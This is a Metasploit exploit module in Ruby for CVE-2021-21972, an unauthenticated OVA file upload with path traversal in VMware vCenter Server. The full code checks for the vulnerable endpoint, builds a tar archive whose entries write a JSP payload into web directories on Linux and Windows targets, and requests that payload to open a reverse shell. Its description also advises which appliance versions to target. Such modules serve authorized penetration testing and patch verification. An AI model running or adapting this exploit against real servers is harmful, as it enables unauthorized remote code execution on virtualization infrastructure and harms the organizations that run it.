VMware vCenter Server File Upload / Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
# "Shotgun" approach to writing JSP  
Rank = ManualRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::CheckModule  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',  
'Description' => %q{  
This module exploits an unauthenticated OVA file upload and path  
traversal in VMware vCenter Server to write a JSP payload to a  
web-accessible directory.  
  
Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.  
Note that later vulnerable versions of the Linux appliance aren't  
exploitable via the webshell technique. Furthermore, writing an SSH  
public key to /home/vsphere-ui/.ssh/authorized_keys works, but the  
user's non-existent password expires 90 days after install, rendering  
the technique nearly useless against production environments.  
  
You'll have the best luck targeting older versions of the Linux  
appliance. The Windows target should work ubiquitously.  
},  
'Author' => [  
'Mikhail Klyuchnikov', # Discovery  
'wvu', # Analysis and exploit  
'mr_me', # Co-conspirator  
'Viss' # Co-conspirator  
],  
'References' => [  
['CVE', '2021-21972'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],  
['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],  
['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],  
['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],  
['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],  
['URL', 'https://kb.vmware.com/s/article/2143838'],  
['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']  
],  
'DisclosureDate' => '2021-02-23', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'win'],  
'Arch' => ARCH_JAVA,  
'Privileged' => false, # true on Windows  
'Targets' => [  
[  
# TODO: /home/vsphere-ui/.ssh/authorized_keys  
'VMware vCenter Server <= 6.7 Update 1b (Linux)',  
{  
'Platform' => 'linux'  
}  
],  
[  
'VMware vCenter Server <= 6.7 Update 3j (Windows)',  
{  
'Platform' => 'win'  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'java/jsp_shell_reverse_tcp',  
'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']  
}  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
  
register_advanced_options([  
# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>  
OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me  
OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu  
])  
end  
  
def spray_and_pray_min  
datastore['SprayAndPrayMin']  
end  
  
def spray_and_pray_max  
datastore['SprayAndPrayMax']  
end  
  
def spray_and_pray_range  
(spray_and_pray_min..spray_and_pray_max).to_a  
end  
  
def check  
# Run auxiliary/scanner/vmware/esx_fingerprint  
super  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
case res.code  
when 200  
# {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}  
expected_keys = [  
'States',  
'Install Progress',  
'Install Final Progress',  
'Config Progress',  
'Config Final Progress'  
]  
  
if (expected_keys & res.get_json_document.keys) == expected_keys  
return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')  
end  
  
CheckCode::Detected('Target did not respond with expected keys.')  
when 401  
CheckCode::Safe('Unauthenticated endpoint access denied.')  
else  
CheckCode::Detected("Target responded with code #{res.code}.")  
end  
end  
  
def exploit  
upload_ova  
pop_thy_shell # ;)  
end  
  
def upload_ova  
print_status("Uploading OVA file: #{ova_filename}")  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part(  
generate_ova,  
'application/x-tar', # OVA is tar  
'binary',  
%(form-data; name="uploadFile"; filename="#{ova_filename}")  
)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'data' => multipart_form.to_s  
)  
  
unless res && res.code == 200 && res.body == 'SUCCESS'  
fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')  
end  
  
register_files_for_cleanup(*jsp_paths)  
  
print_good('Successfully uploaded OVA file')  
end  
  
def pop_thy_shell  
jsp_uri =  
case target['Platform']  
when 'linux'  
normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")  
when 'win'  
normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")  
end  
  
print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => jsp_uri  
)  
  
unless res && res.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')  
end  
  
print_good('Successfully requested JSP payload')  
end  
  
def generate_ova  
ova_file = StringIO.new  
  
# HACK: Spray JSP in the OVA and pray we get a shell...  
Rex::Tar::Writer.new(ova_file) do |tar|  
jsp_paths.each do |path|  
# /tmp/unicorn_ova_dir/../../<path>  
tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }  
end  
end  
  
ova_file.string  
end  
  
def jsp_paths  
case target['Platform']  
when 'linux'  
@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|  
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"  
end  
when 'win'  
# Forward slashes work here  
["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]  
end  
end  
  
def ova_filename  
@ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"  
end  
  
def jsp_filename  
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"  
end  
  
end  
`